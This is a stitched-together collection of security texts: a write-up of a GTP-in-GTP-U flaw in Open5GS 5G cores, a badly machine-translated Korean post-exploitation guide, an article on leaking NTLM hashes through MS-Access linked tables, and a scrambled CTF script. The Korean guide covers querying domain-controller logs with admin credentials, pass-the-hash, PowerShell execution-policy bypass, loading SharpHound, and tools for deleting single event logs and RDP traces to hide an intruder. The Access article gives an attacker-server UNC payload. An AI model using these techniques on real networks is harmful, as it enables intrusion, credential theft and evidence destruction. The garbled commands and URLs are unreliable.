果不其然,基站將把該數據包放入到其GTP-U隧道中,發送給UPF。這導致GTP-U分組中的GTP-U到達UPF。 UPF中現在有兩個GTP-U分組:外部GTP-U分組報頭由基站創建的,用於封裝來自用戶設備的數據分組。這個外部GTP-U分組的消息類型為0xFF,長度為44。這個報頭是正常的。內部GTP-U報頭由用戶設備製作並作為數據分組來發送。與外部GTP-U分組一樣,這個內部GTP-U分組的消息類型為0xFF,但長度0不正常。

內部分組的源IP地址屬於用戶設備,而外部分組的源IP地址屬於基站。內部分組和外部分組的目的地IP地址一樣:都是UPF的目的地IP地址。

UPF對外部GTP-U進行解封裝,並通過功能檢查。內部GTP-U分組的目的地還是同樣的UPF。接下來發生的事情因實現方法而異:

• 一些實現維護用於分組遍歷的狀態機。狀態機的不正確實現可能導致處理這個內部GTP-U分組。該分組可能已經通過了檢查階段,因為它與外部分組擁有相同的分組上下文。這導致系統內部有一個異常分組通過完整性檢查。

• 由於內部分組的目的地是UPF本身的IP地址,因此分組可能被發送到UPF。在這種情況下,分組很可能會通過功能檢查,因此問題不如前一種情況來得嚴重。

攻擊途徑一些5G核心供應商利用Open5GS代碼。比如說,NextEPC(4G系統,2019年更名為Open5GS以添加5G,剩餘產品來自舊品牌)提供了面向LTE/5G的企業版,借鑒了Open5GS的代碼。沒有觀察到外頭有任何攻擊或威脅跡象,但我們的測試使用已確定的場景表明存在潛在風險。

攻擊的重要性在於攻擊途徑:來自UE的蜂窩基礎設施攻擊。利用該漏洞只需要一部移動電話(或通過蜂窩加密狗連接的計算機)和幾行Python代碼,就可以濫用該缺口,並發動這類攻擊。 GTP-U中的GTP-U攻擊是一種眾所周知的技術,回程IP安全和加密無法阻止這種攻擊。事實上,這些安全措施可能會阻礙防火牆檢查內容。

補救和心得醫療和電力等關鍵行業只是專用5G系統的早期採用者之一,5G廣泛使用的廣度和深度只會與日俱增。對於這些行業來說,確保持續不間斷運作的可靠性至關重要,因為這關係到千萬條生命和實際影響。這些行業的性質決定了它們選擇使用專用5G系統,而不是Wi-Fi。專用5G系統必須提供持久的連接,因為對任何5G基礎設施的攻擊得逞都可能導致整個網絡癱瘓。

在本文中,濫用CVE-2021-45462可能導致DoS攻擊。 CVE-2021-45462(以及大多數GTP-U中的GTP-U攻擊)的根本原因是分組核心中的錯誤檢查和錯誤處理不當。雖然GTP-U-中的GTP-U本身無害,但修復這個漏洞的適當措施必須來自分組核心供應商,而基礎設施管理員必須使用最新版本的軟件。

GTP-U中的GTP-U攻擊還可以用於洩露敏感信息,比如基礎設施節點的IP地址。因此,GTP-U對等體應該準備好處理GTP-U中的GTP-U分組。在CT環境下,它們應該使用能夠理解CT協議的入侵防禦系統(IPS)或防火牆。由於GTP-U不是正常的用戶流量,特別是在專用5G中,安全團隊可以優先考慮並丟棄GTP-U中的GTP-U流量。

一般來說,SIM卡的註冊和使用必須嚴格加以規範和管理。擁有被盜SIM卡的攻擊者可以將其插入攻擊者的設備,連接到網絡部署惡意軟件。此外,對於採用共享操作模式的一些人來說,安全責任可能很模糊,比如企業擁有的基礎設施鏈的終端設備和邊緣。同時,蜂窩基礎設施歸集成商或運營商所有。這給安全運營中心(SOC)帶來了一項艱鉅的任務:將來自不同領域和解決方案的相關信息整合在一起。

此外,由於需要停機和測試,定期更新關鍵基礎設施軟件以跟上供應商的補丁並不容易,也永遠不會容易。因此,強烈建議使用IPS打虛擬補丁或採用分層防火牆。幸好,GTP中的GTP很少在實際應用中使用,因此可以完全阻止所有GTP中的GTP流量。我們建議使用結合IT和通信技術(CT)安全性和可視性的分層安全解決方案。實施零信任解決方案,為企業和關鍵行業增加另一層安全,以防止未經授權使用專用網絡,以實現連續不中斷的工業生態系統,並確保SIM卡只能從授權設備上使用。

도메인의 로그는 일반적으로 .evtx로 끝나므로 DIR 명령을 사용하려면 도메인의 로그를 검색해야합니다.

dir/s/b *.evtx

/s : 하위 디렉터를 포함한 재귀 검색을 의미합니다.

/b : 결과가 간결한 모드로 표시되며 다른 정보없이 파일 경로 만 표시됩니다.

여기서 우리는 로그 패러 도구를 직접 사용하여 도메인의 로그 정보를 내보낼 수 있습니다. (도메인 제어 호스트에서)

LogparSer 도구는 필터링을 위해 SQL 쿼리 메소드를 사용합니다.

다음 지침을 사용하여 문자열 열 및 EventId 열을 통해 도메인에서 사용자의 로그인 동작을 필터링하십시오.

logparser.exe -i:evt -o:csv 'select recordnumber, timewritten, eventid, strings, c: \ log5.csv incertid='4624 '및 문자열'%| kerberos |%|%.%.%'및 strings'%|%|%|%|%'' ''

-i: 입력 파일 유형 -O: 출력 파일 유형

정상 도메인 침투 중에 도메인 제어를 직접 가져 와서 도메인 제어 호스트에서 작동하여 로그를 내보내십시오. 일반적으로 분석을 위해 도메인 제어 로그 또는 지정된 멤버 호스트의 로그를 내보내는 것은 비현실적입니다. 1. VPN 방법; 2. 양말 터널을 건설하십시오. 3. 원격 트로이 목마 방법을 구축하십시오.

query logs vpn

일반적으로 대상 호스트를 VPN을 통해 연결하고 작동을 위해 인트라넷 환경에 들어갑니다.

여기서 도메인 관리 계정이 얻어졌으며 도메인 관리 자격 증명을 통해 내보내기 로그 분석이 수행된다고 가정합니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

먼저 도메인 제어의 로그 저장 위치 획득

dir /s /b \\ 10.10.10.10 \ c $ \ security.evtx

도메인 제어 로그 파일은 사본 명령을 통해 로컬로 복사 할 수 있습니다.

복사 \\ 10.10.10.10 \ c $ \ windows \ system32 \ Winevt \ logs \ C: \ Users \ Admins \ Desktop \ log

로그 파일은 숨겨진 파일이므로 로그 파서를 통해 모든 .evtx 파일을 직접 내보낼 수 없습니다 (검색 할 수 없음)

그러나 로그 파서를 사용하여 부분적인 로그를 원격으로 내보낼 수 있습니다.

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv \\ remoteserver \ security'

logparser.exe -i:evt -o:csv 'select * in in c: \ 1.csv from \\ 10.10.10.10 \ security'

2. 연결 중에 로그의 흔적을 쿼리하십시오

로그 추적을 쿼리 할 때 먼저이 로그인에 사용 된 인증 방법을 이해해야합니다. Windows는 기본적으로 NTML 인증을 사용하고 Kerberos 인증은 도메인 네트워크에서 사용됩니다. 간단히 말해서 NTLM은 호스트와 호스트 간의 직접적인 대화식 인증이며 Kerberos는 제 3 자 (도메인 제어)에 의해 인증됩니다.

도메인 제어는 도메인 내 호스트 및 도메인 계정에만 자격 증명 만 발행합니다. 따라서 원격 호스트 포지셔닝에 IP를 사용하면 NTLM 인증이 사용되며 포지셔닝에 도메인 이름 또는 기계 이름을 사용하면 Kerberos 인증이 사용됩니다.

순 사용을 사용하여 원격 공유에 연결하는 프로세스도 로그인 프로세스입니다. 따라서 로그인이있는 한 로그에 반영됩니다.

Dir 및 Host를 사용하여 직접 로그인하는 것도 마찬가지입니다.

로그 쿼리 분석에 따르면 호스트는 Kerberos 인증을 사용하여 직접 로그를 발견했습니다. DIR 및 NET 사용을 사용하는 경우 원격 호스트가 IP 인 경우 NTLM 인증입니다. 반대로, 도메인 이름 또는 기계 이름이 포지셔닝에 사용되면 포지셔닝을위한 Kerberos입니다.

멤버 호스트 네트워크 연결 연결 도메인 제어 호스트

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

Kerberos 인증 패킷

순 사용 \\ ad-2016 \ IPC $

여러 테스트 후, 위의 명령문을 사용하여 멤버 호스트가 도메인 제어 호스트에 연결되고 Kerberos 인증을 사용하면 도메인 제어 호스트에 다음 레코드가 남게됩니다.

따라서 5 번째 성공적인 로그인 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순이 사용을 통해 로그에서 도메인 컨트롤의 호스트 정보를 얻기 위해 필터링 규칙을 수정하면됩니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-500 | 관리자 | vvvv1.com |0x7c3dbeb9 | 3 | Kerberos | k Erberos || {CE15C23A-E7E3-3FC1-4A75-FDF339BEC822} |-|-|-|0x0 |-| 10.10.10.12 | 50364 | %% 1840 |-|-|-|-| %% 1843 |0x0 | %% 1842

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다.

멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다

NTLM 인증 패킷

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

Kerberos 인증 패킷

dir \\ ad-2016 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

멤버 호스트 연결 멤버 호스트

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

멤버 호스트 자체로 로그인

도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다.

도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

양말 프록시를 통한 쿼리 로그

일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다.

먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오.

테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

지침 및 운영은 VPN과 동일합니다.

2. 연결 중에 로그의 흔적을 쿼리하십시오

원격 호스트 네트워크 연결 연결 도메인 제어 호스트

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

도메인 제어 호스트에 대한 원격 DIR 연결

NTLM 인증 패킷

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

원격 호스트는 멤버 호스트에 연결합니다

dir \\ 10.10.10.10 \ c $

두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

PowerShell log

PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다.

그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다.

따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다.

그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다.

PowerShell 스크립트 사용

PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다.

PowerShell -ExecutionPolicy 바이 패스

PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다.

실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다.

PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다.

PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1

import-module ./sharphound.ps1

현재 Sharphound 모듈이 현재 세션에로드되었습니다.

현재 세션에서로드 된 모든 모듈을보십시오

모듈을 얻으십시오

Sharphound 모듈에서 모든 명령 목록 얻기

get -command -module sharphound

Sharphound 사용 도움말을 확인하십시오

get-help sharphound

Get-Help invoke-bloodhound-

로그 삭제

당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다.

따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다.

도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution

단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B

https://github.com/qax-a-team/eventcleaner

RDP 로그인 추적

지우기

https://blog.csdn.net/m0_37552052/article/details/82894963

https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \

이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다

4625 —— 계정을 로그인 할 수 없습니다

1149 —— 사용자 인증이 성공했습니다

원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

微信截图_20231111174838.png

10 月12 日,微軟宣布新一輪過渡計劃,棄用NTLM 身份認證方式,讓更多企業和用戶過渡到Kerberos。

Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能,通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件,就可以發起攻擊。事實上,更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則,這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。

什麼是NTLM?針對它的常見攻擊有哪些? NTLM是NT LANManager的縮寫,這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式,即問詢/應答身份驗證協議,是Windows NT 早期版本的標準安全協議,是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布,棄用NTLM 身份認證方式,讓更多企業和用戶過渡使用Kerberos,Kerberos 提供了更好的安全保證,並且比NTLM 更具可擴展性,現在成為Windows 中首選默認協議。

企業雖然可以關閉NTLM 身份認證,但那些硬連線(hardwired)的應用程序和服務可能會遇到問題,為此微軟引入了兩個身份驗證功能。

其一是Initial and Pass Through Authentication Using Kerberos(IAKerb),允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。

另一個是Kerberos 的本地密鑰分發中心(KDC),它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進,Kerberos 將成為唯一的Windows 身份驗證協議。

以下是針對NTLM的三種最著名的攻擊。

1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞,從存儲在服務器上的NTLM哈希中恢復原始密碼。

2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份,使得使用哈希而不是普通密碼這一事實在本質上毫無意義。

3.中繼攻擊通常被稱為“中間人”攻擊,攻擊者攔截握手交易,在與服務器交談時假扮成客戶端,反之亦然,這樣就可以將他們的消息互相傳遞,直到會話被驗證的關鍵時刻,此時攻擊者切斷合法客戶端並代替他們進行對話。

上述攻擊的緩解措施出現在Kerberos中,Kerberos是麻省理工學院開發的一種身份驗證協議,比NTLM早了整整五年。

不過,對於任何想要保留NTLM服務器的用戶來說,微軟設計了一個過渡機制,簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量,使上述攻擊更加難以執行,這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。

不過這種權宜之計總是漏洞百出。在這篇文章中,我們提出了一種新的方法,可以繞過這些端口使緩解措施失效,即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。

MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前,我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶,用戶可以連接到外部數據庫,例如遠程Microsoft SQL服務器,這種功能的優勢應該是不言而喻的,不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案,而且絕對不是長久的解決方案。要激活該功能,用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕,如下所示。我們以Office 2010為例,但這同樣適用於所有版本的Office。

1.png

點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導

MS-Access建議使用另一種方法,用一次性下載遠程表,這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步,用戶選擇了另一個選項,“通過創建鍊錶鏈接到數據源”。

2.png

MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇

然後,用戶在對話框中選擇“SQL Server”作為ODBC Database。

3.png

選擇ODBC Database類型的對話框

ODBC(OpenDatabaseConnectivity,開放數據庫互連)是微軟公司開放服務結構(WOSA,Windows Open Services Architecture)中有關數據庫的一個組成部分,它建立了一組規範,並提供了一組對數據庫訪問的標準API(應用程序編程接口)。

此時,用戶需要選擇使用遠程服務器進行身份驗證的方法,如下圖所示。

4.png

選擇SQL Server身份驗證方法的對話框

一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解,我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外,典型的用戶可能會將遠程服務器的端口保留為默認值(1433),但是,出於為了方便講解,我們暫時假設用戶選擇不經常使用的端口,例如端口80。

畢竟,沒有什麼可以阻止SQL服務器監聽端口80,一個合法組織的SQL服務器可能不會這樣做,但是如果有人這樣做了,網絡也不會產生什麼異常。

5.png

選擇服務器的IP地址、端口和協議的對話框

假設遠程SQL服務器的身份驗證成功並且所選表存在,那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時,將建立到該遠程數據庫的連接,並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。

6.png

在MS-Access的“tables”列表中顯示的鍊錶

濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前,攻擊者可以設置一個他們控制的服務器,監聽端口80,並將其IP地址放在上面的“服務器別名”字段中。然後,他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表,受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後,SA處於執行攻擊的最佳位置,它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程,接收挑戰,並將該挑戰作為攻擊者控制的CV的一部分發送到CVSA身份驗證過程,接收有效響應,然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分,從技術上講,MS Access支持宏,因此攻擊者理論上可以創建一個自動打開鏈接表的宏,並將其設置為在打開文件時自動執行,這是通過將宏命名為AutoExec來實現的。當然,這是一條死胡同,因為隨後會提示用戶啟用宏,就在去年,微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同,它們的功能較弱,處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖(protected view)”功能,該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。

7.png

添加一個打開鏈接表的MicrosoftAccess宏,並將其保存為“AutoExec”以在打開文件時執行

OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如,可以在Word文檔中嵌入圖像,當文檔被打開時,MS-Paint將處理圖像並發回信息,從而使MS-Word可以內聯顯示圖像。

同樣,也可以將MS word文檔中的.accdb文件鏈接為OLE對象,該對象將自動下載(也可以通過端口80/tcp),然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:

\\\\111.111.111.111@80\\test.accdb

總的來說,整個攻擊鍊是這樣的:

8.png

濫用鍊錶

概念驗證為了方便研究,研究人員建立一個展示這種攻擊的概念驗證環境,禁用服務器的第一個響應數據包(PRE-LOGIN消息響應)中的加密,可以使研究的工作變得更容易,因為不需要處理TDS TLS加密。

以下是模擬受害者和虛假SQL服務器活動的過程,受害者位於典型的端口阻塞環境中(阻塞傳出的139/tcp和445/tcp流量,但允許80/tcp),而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。

9.png

流量捕獲(PCAP)顯示了一次成功的攻擊,它使受害者通過端口80洩露了本地NTLM哈希

防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊,包括最新的Windows 10/11 和Office 2021環境。

建議你可以考慮禁用MS-Access中的宏,或者如果MS-Access對你的Office套件安裝不是必需的,則將其從系統中完全刪除。

另外,請不要打開未經請求的附件。

1. 데이터 보안 질문

1 .as

예와 질문을보고 쓰기 Exp

def pell_recurrence (x1, y1, x, y, d) :

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next, y_next를 반환합니다

#믿다

def generate_until_threshold (x1, y1, d, 임계 값) :

x, y=1, 0

솔루션=[(x, y)]

반복=0

True:

x, y=pell_recurrence (x1, y1, x, y, d)

반복 +=1

Solutions.Append ((X, Y))

x 임계 값과 y 임계 값인 경우

부서지다

반품 솔루션, 반복, (x, y)

################################################### #######################################################################################YOUMYYM

def main () :

D=42232

X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200

임계 값=2 **0x149f

솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값)

print (f 'x={last_solution [0]}')

print (f 'y={last_solution [1]}')

n1=(Last_Solution [0] -1) //2

n2=last_solution [1]

인쇄 (N1)

인쇄 (N2)

__name__=='__ 메인 __': 인 경우

main () image-20250403151324146

N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 